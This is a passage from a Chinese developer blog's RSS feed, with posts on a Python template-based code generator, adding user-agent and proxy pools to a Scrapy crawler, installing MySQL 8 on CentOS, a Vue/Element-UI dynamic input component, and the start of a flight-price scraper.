    sql = &amp;quot;show full columns from `&amp;quot; + table_name[&amp;quot;Name&amp;quot;] + &amp;quot;`&amp;quot;
    cursor.execute(sql)  # 查询表结构
    for x in cursor:
        structs.append(x)
    connection.close()
    print(&amp;quot;获取表结构成功，结构列表：&amp;quot; + str(structs))
    return structs
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;代码生成模块&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-linux"&gt;#!/usr/bin/python3
import re
# 模板规则:
# 形如$base$的用表名替换
# 形如$Base$的用表名大驼峰风格替换
# 形如$Note$的用表注释替换
# 形如$for *$(*为长度不一的字符串)的
#   其内有%javaType%的用字段类型转Java类型替换
#   其内有%type%的用字段类型替换
#   其内有%note%的用字段注释替换
#   其内有%name_%的用字段名替换
#   其内有%name%的用字段名(转小驼峰)替换
#   其内有%Name%的用字段名(转大驼峰)替换
#   其内有%in-*%(*为长度不一的字符串)的*用来做列表分隔符，例子:a,b,c中的,
# $for0 *$为列表第一个
# $for+ *$为列表从第二个到最后一个

re_for = r&amp;quot;\$for[a-zA-Z0-9%\-; 	\n\r\.=\(\)&amp;lt;&amp;gt;{}/\&amp;quot;\*@_,!'#+]+\$&amp;quot;


def line_to_hump(line):
    &amp;quot;&amp;quot;&amp;quot;下划线风格转为大驼峰

    :param line: 下划线风格字符串
    :return: 大驼峰风格字符串
    &amp;quot;&amp;quot;&amp;quot;
    if &amp;quot;_&amp;quot; in line:
        return &amp;quot;&amp;quot;.join(map(lambda x: x.capitalize(), line.split(&amp;quot;_&amp;quot;)))
    return line.capitalize()


def to_little_hump(hump):
    &amp;quot;&amp;quot;&amp;quot;转为小驼峰

    :param line: 大驼峰风格字符串
    :return: 小驼峰风格字符串
    &amp;quot;&amp;quot;&amp;quot;
    return hump[0:1].lower() + hump[1:]


def to_type(type):
    if &amp;quot;int&amp;quot; in type:
        return &amp;quot;INTEGER&amp;quot;
    if &amp;quot;double&amp;quot; in type:
        return &amp;quot;DOUBLE&amp;quot;
    if &amp;quot;varchar&amp;quot; in type:
        return &amp;quot;VARCHAR&amp;quot;
    if &amp;quot;text&amp;quot; in type:
        return &amp;quot;VARCHAR&amp;quot;
    if &amp;quot;date&amp;quot; in type:
        return &amp;quot;DATE&amp;quot;
    if &amp;quot;decimal&amp;quot; in type:
        return &amp;quot;DECIMAL&amp;quot;


def to_java_type(type):
    if &amp;quot;int&amp;quot; in type:
        return &amp;quot;Integer&amp;quot;
    if &amp;quot;double&amp;quot; in type:
        return &amp;quot;Double&amp;quot;
    if &amp;quot;varchar&amp;quot; in type:
        return &amp;quot;String&amp;quot;
    if &amp;quot;text&amp;quot; in type:
        return &amp;quot;String&amp;quot;
    if &amp;quot;date&amp;quot; in type:
        return &amp;quot;Date&amp;quot;
    if &amp;quot;decimal&amp;quot; in type:
        return &amp;quot;BigDecimal&amp;quot;


def handle_table_name(table_name, template_list):
    &amp;quot;&amp;quot;&amp;quot;表名处理

    :param table_name: {Name:表名,Comment:注释}
    :param template_list: 代码模板
    :return: 加工代码
    &amp;quot;&amp;quot;&amp;quot;
    code_gen_list = []
    for template in template_list:
        print()
        template = template.replace(&amp;quot;$base$&amp;quot;, table_name[&amp;quot;Name&amp;quot;])
        template = template.replace(&amp;quot;$Base$&amp;quot;, line_to_hump(table_name[&amp;quot;Name&amp;quot;]))
        template = template.replace(&amp;quot;$Note$&amp;quot;, table_name[&amp;quot;Comment&amp;quot;])
        code_gen_list.append(template)
    return code_gen_list


def get_for_handle_list(table_struct, for_sign_list, index, length):
    &amp;quot;&amp;quot;&amp;quot;列表内处理

    :param table_struct: 字段结构
    :param index: 循环下标
    :param for_sign_list: for模板列表
    :return:
    &amp;quot;&amp;quot;&amp;quot;
    for_handle_list = []
    for for_sign in for_sign_list:
        before_for_sign = for_sign
        if &amp;quot;$for0&amp;quot; in for_sign and index != 0:
            for_handle_list.append(for_sign)
            continue
        if &amp;quot;$for+&amp;quot; in for_sign and index == 0:
            for_handle_list.append(for_sign)
            continue
        if &amp;quot;%name_%&amp;quot; in for_sign:
            for_sign = for_sign.replace(&amp;quot;%name_%&amp;quot;, table_struct[&amp;quot;Field&amp;quot;])
        if &amp;quot;%name%&amp;quot; in for_sign:
            for_sign = for_sign.replace(&amp;quot;%name%&amp;quot;, to_little_hump(line_to_hump(table_struct[&amp;quot;Field&amp;quot;])))
        if &amp;quot;%Name%&amp;quot; in for_sign:
            for_sign = for_sign.replace(&amp;quot;%Name%&amp;quot;, line_to_hump(table_struct[&amp;quot;Field&amp;quot;]))
        if &amp;quot;%note%&amp;quot; in for_sign:
            for_sign = for_sign.replace(&amp;quot;%note%&amp;quot;, table_struct[&amp;quot;Comment&amp;quot;])
        if &amp;quot;%javaType%&amp;quot; in for_sign:
            for_sign = for_sign.replace(&amp;quot;%javaType%&amp;quot;, to_java_type(table_struct[&amp;quot;Type&amp;quot;]))
        if &amp;quot;%type%&amp;quot; in for_sign:
            for_sign = for_sign.replace(&amp;quot;%type%&amp;quot;, to_type(table_struct[&amp;quot;Type&amp;quot;]))
        sign = re.search(r&amp;quot;%in-[ ,]+%&amp;quot;, for_sign)
        if sign:
            for_sign = for_sign.replace(sign.group(), &amp;quot;,&amp;quot;)
        for_sign = for_sign.replace(&amp;quot;$for0&amp;quot;, &amp;quot;&amp;quot;).replace(&amp;quot;$for+&amp;quot;, &amp;quot;&amp;quot;)
        for_sign = for_sign.replace(&amp;quot;$for&amp;quot;, &amp;quot;&amp;quot;).replace(&amp;quot;$&amp;quot;, &amp;quot;&amp;quot;)
        if index &amp;lt; (length - 1):
            for_sign = for_sign + before_for_sign
        else:
            for_sign = for_sign[::-1]
            for_sign = for_sign.replace(&amp;quot;,&amp;quot;, &amp;quot;&amp;quot;, 1)
            for_sign = for_sign[::-1]
        for_handle_list.append(for_sign)
    return for_handle_list


def handle_struct_list(table_struct_list, template_list):
    &amp;quot;&amp;quot;&amp;quot;列表处理

    :param table_struct_list: 表结构列表
    :param template_list: 代码模板
    :return: 加工代码
    &amp;quot;&amp;quot;&amp;quot;
    code_gen_list = []
    for template in template_list:
        index = 0
        for table_struct in table_struct_list:
            # 获取for列表并留下恢复记号
            for_sign = re.search(re_for, template)
            for_sign_list = []
            while for_sign:
                for_sign_str = for_sign.group()
                for_sign_list.append(for_sign_str)
                template = template.replace(for_sign.group(), &amp;quot;^^^&amp;quot;, 1)
                for_sign = re.search(re_for, template)
            # 进行列表内处理
            for_handle_list = get_for_handle_list(table_struct, for_sign_list, index, len(table_struct_list))
            # 进行恢复替换
            for for_handle in for_handle_list:
                template = template.replace(&amp;quot;^^^&amp;quot;, for_handle, 1)
            index = index + 1
        code_gen_list.append(template)
    return code_gen_list


def handle_end(template_list):
    &amp;quot;&amp;quot;&amp;quot;最后处理

    :param template_list: 代码模板
    :return: 加工代码
    &amp;quot;&amp;quot;&amp;quot;
    code_handle_list = []
    for template in template_list:
        for_sign = re.search(re_for, template)
        while for_sign:
            template = template.replace(for_sign.group(), &amp;quot;&amp;quot;)
            for_sign = re.search(re_for, template)
        code_handle_list.append(template)
    code_gen_list = []
    for template in code_handle_list:
        template = template.replace(&amp;quot;$for0&amp;quot;, &amp;quot;&amp;quot;).replace(&amp;quot;$for+&amp;quot;, &amp;quot;&amp;quot;)
        template = template.replace(&amp;quot;$for&amp;quot;, &amp;quot;&amp;quot;).replace(&amp;quot;$&amp;quot;, &amp;quot;&amp;quot;).replace(&amp;quot;^^^&amp;quot;, &amp;quot;&amp;quot;)
        code_gen_list.append(template)
    return code_gen_list


def handle(table_name, table_struct_list, template_list):
    &amp;quot;&amp;quot;&amp;quot;总处理函数

    :param table_name: {Name:表名,Comment:注释}
    :param table_struct_list: 表结构列表
    :param template_list: 模板列表
    :return: 成品代码列表
    &amp;quot;&amp;quot;&amp;quot;
    code_gen_list = handle_table_name(table_name, template_list)
    code_gen_list = handle_struct_list(table_struct_list, code_gen_list)
    code_gen_list = handle_end(code_gen_list)
    return code_gen_list
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这些就是全部代码了，然后还要根据模板规则写个模板，最后运行就可以
这里放上模板和代码，对了还要在项目里加个base包和里面的文件，里面是抽出来的基本增删改查操作，base也放进去了：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://media.baby7blog.com/code-gen-ssm.7z"&gt;点击下载文件&lt;/a&gt;&lt;/p&gt;</description>
      <category>后端技术</category>
      <pubDate>Wed, 25 Mar 2020 06:57:29 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/64.html</comments>
    </item>
    <item>
      <title>为Scrapy爬虫添加UA池和动态IP代理池</title>
      <link>https://www.baby7blog.com/myBlog/63.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FjkvD2ElfLRfnznMQ7zpqDP-RVsH" width="800"&gt;&lt;br&gt;
&lt;h1&gt;为Scrapy爬虫添加UA池和动态IP代理池&lt;/h1&gt;

&lt;p&gt;大家在进行爬取数据时可能会被封,这种情况可以通过降低爬取速度、更换user-agent、更换ip来预防，这里写了我的爬虫经验&lt;/p&gt;
&lt;h2&gt;添加UA池&lt;/h2&gt;
&lt;p&gt;在setting.py中添加&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;USER_AGENT_LIST = [
    &amp;quot;Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1&amp;quot;,
    &amp;quot;Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11&amp;quot;,
    &amp;quot;Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6&amp;quot;,
    &amp;quot;Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6&amp;quot;,
    &amp;quot;Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1&amp;quot;,
    &amp;quot;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5&amp;quot;,
    &amp;quot;Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5&amp;quot;,
    &amp;quot;Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3&amp;quot;,
    &amp;quot;Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3&amp;quot;,
    &amp;quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3&amp;quot;,
    &amp;quot;Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3&amp;quot;,
    &amp;quot;Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3&amp;quot;,
    &amp;quot;Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3&amp;quot;,
    &amp;quot;Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3&amp;quot;,
    &amp;quot;Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3&amp;quot;,
    &amp;quot;Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3&amp;quot;,
    &amp;quot;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24&amp;quot;,
    &amp;quot;Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24&amp;quot;
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后在setting.py中取消注释DOWNLOADER_MIDDLEWARES(*处改成你自己的)：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;DOWNLOADER_MIDDLEWARES = {
   '*.middlewares.Job51SpiderMiddleware': 543,
   '*.middlewares.Job51DownloaderMiddleware': 543,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后再middlewares.py的*DownloaderMiddleware类中的process_request函数中添加&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;        user_agent = random.choice(spider.settings['USER_AGENT_LIST'])
        print(user_agent)
        request.headers['User-Agent'] = user_agent
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行后查看是否输出user-agent，输出代表成功了&lt;/p&gt;
&lt;h2&gt;添加动态IP代理池&lt;/h2&gt;
&lt;p&gt;添加IP代理池有很大程度上防止被封，但是免费的IP代理很难找到，找到了也用不久（事实上我就没找到过能用的），后来发现了个&lt;a href="https://www.abuyun.com/"&gt;阿布云&lt;/a&gt;，有动态IP代理，然后是注册就送三个小时，并发每秒5个，这着实爽到我了，后面再用是每秒5个的话一小时一块钱！？，对于用不了那么多数据量的来说够够的了，添加并发的话大概每5个/秒的话是加4-5毛。没打广告啊(￣▽￣)&amp;quot;&lt;/p&gt;
&lt;p&gt;下面讲讲具体操作：&lt;/p&gt;
&lt;p&gt;在middlewares.py上方添加&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;# 阿布云 ip代理
import base64
# 代理服务器
proxyServer = &amp;quot;http://http-dyn.abuyun.com:9020&amp;quot;
# 代理隧道验证信息
proxyUser = &amp;quot;填你自己在阿布云获取到的&amp;quot;
proxyPass = &amp;quot;填你自己在阿布云获取到的&amp;quot;
proxyAuth = &amp;quot;Basic &amp;quot; + base64.urlsafe_b64encode(bytes((proxyUser + &amp;quot;:&amp;quot; + proxyPass), &amp;quot;ascii&amp;quot;)).decode(&amp;quot;utf8&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后在*SpiderMiddleware类的process_request函数里增加：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;        request.meta[&amp;quot;proxy&amp;quot;] = proxyServer
        request.headers[&amp;quot;Proxy-Authorization&amp;quot;] = proxyAuth
        print(proxyServer)
        print(proxyAuth)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行后查看是否有输出&lt;/p&gt;</description>
      <category>爬虫相关</category>
      <pubDate>Wed, 25 Mar 2020 06:31:41 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/63.html</comments>
    </item>
    <item>
      <title>centos7.5安装mysql8</title>
      <link>https://www.baby7blog.com/myBlog/62.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FsGXMqNDGJHr_ZRM75HzJTesqr4H" width="800"&gt;&lt;br&gt;
&lt;h1&gt;centos7.5安装mysql8&lt;/h1&gt;

&lt;p&gt;之前装的是个mysql5.7，但是挪数据什么的太麻烦了，就想装个mysql8，一般网上安装都是用yum安装，但我的用yum安装5.7很快，8就是装不上，一直报错，最后采用了另一种方法，参考了&lt;a href="https://www.cnblogs.com/myt2000/p/11263777.html"&gt;centos7.6 上mysql8.0的安装&lt;/a&gt;，有修改&lt;/p&gt;
&lt;p&gt;下载mysql&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-linux"&gt;wget https://mirrors.tuna.tsinghua.edu.cn/mysql/downloads/MySQL-8.0/mysql-8.0.17-linux-glibc2.12-x86_64.tar.xz
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进行解压和移动解压文件位置&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-linux"&gt;tar xf mysql-8.0.17-linux-glibc2.12-x86_64.tar.xz
mv mysql-8.0.17-linux-glibc2.12-x86_64 /usr/local/mysql
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;建立目录并赋予权限&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-linux"&gt;cd /usr/local/mysql
mkdir data sql_log undo_log
chown mysql:root -R data/ sql_log/ undo_log/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;添加msyql路径到path&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-linux"&gt;export PATH=$PATH:/usr/localmysql/bin
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class="language-linux"&gt;source /etc/profile
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;写入my.cnf，放在最下方&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-linux"&gt;vim /etc/my.cnf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;初始化mysql&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-linux"&gt;mysqld --initialize --user=root --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拷贝启动程序&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-linux"&gt;cd /usr/local/mysql/support-files
cp mysql.server /etc/init.d/mysqld
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查询密码，一般最后的乱码就是密码&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-linux"&gt;grep password mysql-error.log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;登录mysql，然后输入刚才查到的密码&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-linux"&gt;mysql -uroot -p
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;my.cnf文件&lt;/p&gt;

&lt;pre&gt;&lt;code class="language-mysql"&gt;[client]
port=3306
socket=/usr/local/mysql/data/mysql.sock
[mysqld]
# Skip #
skip_name_resolve= 1
skip-external-locking=1 
symbolic-links= 0
# GENERAL #
user = mysql
default_storage_engine=InnoDB
character-set-server=utf8
socket=/usr/local/mysql/data/mysql.sock
pid_file=/usr/local/mysql/data/mysqld.pid
basedir = /usr/local/mysql
#log_error=/usr/local/mysql/sql_log/mysql_1302.err
port=3306
bind-address=0.0.0.0
explicit_defaults_for_timestamp=on
#sql_mode=NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES
sql_mode=NO_ENGINE_SUBSTITUTION
#read_only=on
# MyISAM #
key_buffer_size=32M
#myisam_recover=FORCE,BACKUP

# undo log #
innodb_undo_directory=/usr/local/mysql/undo_log
innodb_undo_tablespaces=16

# SAFETY #
max_allowed_packet=100M
max_connect_errors=1000000
sysdate_is_now=1
#innodb	= FORCE
#innodb_strict_mode=1
secure-file-priv=/usr/local/mysql/sql_log
default_authentication_plugin='mysql_native_password'
# Replice #
 server-id=1306
 relay_log=mysqld-relay-bin
 gtid_mode=on
 enforce-gtid-consistency
 log-slave-updates=on
 master_info_repository=TABLE
 relay_log_info_repository=TABLE


# group replication specific options
#plugin-load=group_replication.so
#group_replication=FORCE_PLUS_PERMANENT
#transaction-write-set-extraction=XXHASH64
#loose-group_replication_start_on_boot=ON
#loose-group_replication_bootstrap_group=OFF
#loose-group_replication_group_name='aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa'
#group_replication_local_address='10.102.13.2:33061'
#group_replication_group_seeds='10.102.13.3:33061,10.102.13.5:33061'

# DATA STORAGE #
 datadir=/usr/local/mysql/data/
 tmpdir=/tmp
 
# BINARY LOGGING #
 log_bin=/usr/local/mysql/sql_log/mysql-bin
 max_binlog_size=1000M
 binlog_format=row
 expire_logs_days=7
# sync_binlog=1

 # CACHES AND LIMITS #
 tmp_table_size                 = 32M
 max_heap_table_size            = 32M
 max_connections                = 4000
 thread_cache_size              = 2048
 open_files_limit               = 65535
 table_definition_cache         = 4096
 table_open_cache               = 4096
 sort_buffer_size               = 2M
 read_buffer_size               = 2M
 read_rnd_buffer_size           = 2M
# thread_concurrency             = 24
 join_buffer_size = 1M
# table_cache = 32768
 thread_stack = 512k
 max_length_for_sort_data = 16k


 # INNODB #
 innodb_flush_method            = O_DIRECT
 innodb_log_buffer_size = 16M
 innodb_flush_log_at_trx_commit = 2
 innodb_file_per_table          = 1
 innodb_buffer_pool_size        = 2G
 #innodb_buffer_pool_instances = 8
 innodb_stats_on_metadata = off
 innodb_open_files = 8192
 innodb_read_io_threads = 16
 innodb_write_io_threads = 16
 innodb_io_capacity = 20000
 innodb_thread_concurrency = 0
 innodb_lock_wait_timeout = 60
 innodb_old_blocks_time=1000
 innodb_use_native_aio = 1
 innodb_purge_threads=1
 innodb_change_buffering=all
 innodb_log_file_size = 128M
 innodb_log_files_in_group = 3
 innodb_data_file_path  = ibdata1:1024M:autoextend
 
 innodb_rollback_on_timeout=on
 # LOGGING #
 log_error=/usr/local/mysql/sql_log/mysql-error.log
 # log_queries_not_using_indexes  = 1
 # slow_query_log                 = 1
slow_query_log_file=/usr/local/mysql/sql_log/slowlog_1305.log

 # TimeOut #
 #interactive_timeout = 30
 #wait_timeout        = 30
 #net_read_timeout = 60

[mysqldump]
quick
max_allowed_packet = 100M

[mysql]
no-auto-rehash
# Remove the next comment character if you are not familiar with SQL
#safe-updates

[myisamchk]
key_buffer_size = 256M
sort_buffer_size = 256M
read_buffer = 2M
write_buffer = 2M

[mysqlhotcopy]
interactive-timeout
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>服务器相关</category>
      <pubDate>Wed, 25 Mar 2020 05:36:20 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/62.html</comments>
    </item>
    <item>
      <title>基于Element-UI的Vue动态输入框</title>
      <link>https://www.baby7blog.com/myBlog/61.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FqIwaPtC1QqY5X-X1Xpr2h9l5AXI" width="800"&gt;&lt;br&gt;
&lt;h1&gt;基于Element-UI的Vue动态输入框&lt;/h1&gt;

&lt;p&gt;由于需要一个不确定数量的输入控件所以做了出来，然后封装了一下，大家自取&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1577515436785940696" alt="控件预览图.png" /&gt;&lt;/p&gt;
&lt;p&gt;vue源码:DynamicInput.vue&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-vue"&gt;&amp;lt;!--
---- Title: 动态输入框
---- Time:  2019/12/23
---- By:    陈思奇
 --&amp;gt;
&amp;lt;template&amp;gt;
  &amp;lt;div&amp;gt;
    &amp;lt;div v-for=&amp;quot;(item, index) in items&amp;quot; v-bind:key=&amp;quot;index&amp;quot;&amp;gt;
      &amp;lt;el-input
        v-model=&amp;quot;item.name&amp;quot;
        :placeholder=&amp;quot;'请输入' + config.title&amp;quot;
        class=&amp;quot;dynamic-input&amp;quot;
        align=&amp;quot;right&amp;quot;&amp;gt;
      &amp;lt;/el-input&amp;gt;
      &amp;lt;el-button
        type=&amp;quot;danger&amp;quot;
        icon=&amp;quot;el-icon-delete&amp;quot;
        class=&amp;quot;delete-input&amp;quot;
        v-if=&amp;quot;index !== 0&amp;quot;
        @click=&amp;quot;deleteItem(index)&amp;quot;&amp;gt;
      &amp;lt;/el-button&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;el-button
      type=&amp;quot;primary&amp;quot;
      icon=&amp;quot;el-icon-plus&amp;quot;
      @click=&amp;quot;addItem&amp;quot;
      style=&amp;quot;float: left&amp;quot;&amp;gt;
      {{'添加' + config.title}}
    &amp;lt;/el-button&amp;gt;
    &amp;lt;el-button
      v-if=&amp;quot;config.showMsg&amp;quot;
      @click=&amp;quot;print&amp;quot;
      style=&amp;quot;float: left&amp;quot;&amp;gt;
      输出信息
    &amp;lt;/el-button&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/template&amp;gt;

&amp;lt;script&amp;gt;
export default {
  name: 'DynamicInput',
  props: {
    // 输入数组
    items: {
      type: Array,
      default: () =&amp;gt; [
        { name: '' }
      ]
    },
    // 配置
    config: {
      type: Object,
      default: () =&amp;gt; [{
        title: '',
        showMsg: false
      }]
    }
  },
  methods: {
    addItem () {
      this.items.push({
        name: ''
      })
    },
    deleteItem (index) {
      this.items.splice(index, 1)
    },
    print () {
      let itemNames = ''
      for (let i = 0; i &amp;lt; this.items.length; i++) {
        if (this.items[i].name != null &amp;amp;&amp;amp; this.items[i].name !== '') {
          if (itemNames === '') {
            itemNames += this.items[i].name
          } else {
            itemNames += ',' + this.items[i].name
          }
        }
      }
      alert(itemNames)
    }
  }
}
&amp;lt;/script&amp;gt;

&amp;lt;style scoped&amp;gt;
  .dynamic-input{
    width: 89.4%;
    float:left;
    margin-bottom: 5px;
  }
  .delete-input{
    float: right
  }
&amp;lt;/style&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;引入&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-vue"&gt;&amp;lt;template&amp;gt;
  &amp;lt;div class=&amp;quot;hello&amp;quot;&amp;gt;
    &amp;lt;DynamicInput
      :items=&amp;quot;items&amp;quot;
      :config=&amp;quot;config&amp;quot;&amp;gt;
    &amp;lt;/DynamicInput&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/template&amp;gt;

&amp;lt;script&amp;gt;
import DynamicInput from './DynamicInput'
export default {
  name: 'HelloWorld',
  components: {DynamicInput},
  data () {
    return {
      items: [
        { name: '孩子1' },
        { name: '孩子2' },
        { name: '' }
      ],
      config: {
        title: '孩子',
        showMsg: true
      }
    }
  }
}
&amp;lt;/script&amp;gt;

&amp;lt;style scoped&amp;gt;
&amp;lt;/style&amp;gt;
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>前端技术</category>
      <pubDate>Mon, 23 Dec 2019 09:31:26 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/61.html</comments>
    </item>
    <item>
      <title>Pyhton3爬取全国航班信息</title>
      <link>https://www.baby7blog.com/myBlog/59.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FtlXhSAkdSe-hZOVlogwiSaae-07" width="800"&gt;&lt;br&gt;
&lt;h1&gt;Pyhton3爬取全国航班信息&lt;/h1&gt;

&lt;h2&gt;起因&lt;/h2&gt;
&lt;p&gt;快过年了，要回家过年啊。。但是机票太贵，买不起啊。。。&lt;/p&gt;
&lt;h2&gt;想法&lt;/h2&gt;
&lt;p&gt;可以查询到家的航班有哪些，找到每个城市最便宜的，然后看看去那个城市火车要多久，整一整可以便宜很多&lt;/p&gt;
&lt;h2&gt;说做就做&lt;/h2&gt;
&lt;p&gt;找了个现成的爬虫修改，原爬虫链接：&lt;a href="https://blog.csdn.net/weixin_42109012/article/details/96423081"&gt;python爬虫——爬取携程机票信息&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;结果源代码&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;import json

import requests

# 城市字典
cityDict={&amp;quot;YIE&amp;quot;:&amp;quot;阿尔山&amp;quot;,&amp;quot;AKU&amp;quot;:&amp;quot;阿克苏&amp;quot;,&amp;quot;RHT&amp;quot;:&amp;quot;阿拉善右旗&amp;quot;,&amp;quot;AXF&amp;quot;:&amp;quot;阿拉善左旗&amp;quot;,&amp;quot;AAT&amp;quot;:&amp;quot;阿勒泰&amp;quot;,&amp;quot;NGQ&amp;quot;:&amp;quot;阿里&amp;quot;,&amp;quot;MFM&amp;quot;:&amp;quot;澳门&amp;quot;
,&amp;quot;AQG&amp;quot;:&amp;quot;安庆&amp;quot;,&amp;quot;AVA&amp;quot;:&amp;quot;安顺&amp;quot;,&amp;quot;AOG&amp;quot;:&amp;quot;鞍山&amp;quot;,&amp;quot;RLK&amp;quot;:&amp;quot;巴彦淖尔&amp;quot;,&amp;quot;AEB&amp;quot;:&amp;quot;百色&amp;quot;,&amp;quot;BAV&amp;quot;:&amp;quot;包头&amp;quot;,&amp;quot;BSD&amp;quot;:&amp;quot;保山&amp;quot;,&amp;quot;BHY&amp;quot;:&amp;quot;北海&amp;quot;,&amp;quot;BJS&amp;quot;:&amp;quot;北京&amp;quot;
,&amp;quot;DBC&amp;quot;:&amp;quot;白城&amp;quot;,&amp;quot;NBS&amp;quot;:&amp;quot;白山&amp;quot;,&amp;quot;BFJ&amp;quot;:&amp;quot;毕节&amp;quot;,&amp;quot;BPL&amp;quot;:&amp;quot;博乐&amp;quot;,&amp;quot;CKG&amp;quot;:&amp;quot;重庆&amp;quot;,&amp;quot;BPX&amp;quot;:&amp;quot;昌都&amp;quot;,&amp;quot;CGD&amp;quot;:&amp;quot;常德&amp;quot;,&amp;quot;CZX&amp;quot;:&amp;quot;常州&amp;quot;
,&amp;quot;CHG&amp;quot;:&amp;quot;朝阳&amp;quot;,&amp;quot;CTU&amp;quot;:&amp;quot;成都&amp;quot;,&amp;quot;JUH&amp;quot;:&amp;quot;池州&amp;quot;,&amp;quot;CIF&amp;quot;:&amp;quot;赤峰&amp;quot;,&amp;quot;SWA&amp;quot;:&amp;quot;潮州&amp;quot;,&amp;quot;CGQ&amp;quot;:&amp;quot;长春&amp;quot;,&amp;quot;CSX&amp;quot;:&amp;quot;长沙&amp;quot;,&amp;quot;CIH&amp;quot;:&amp;quot;长治&amp;quot;,&amp;quot;CDE&amp;quot;:&amp;quot;承德&amp;quot;
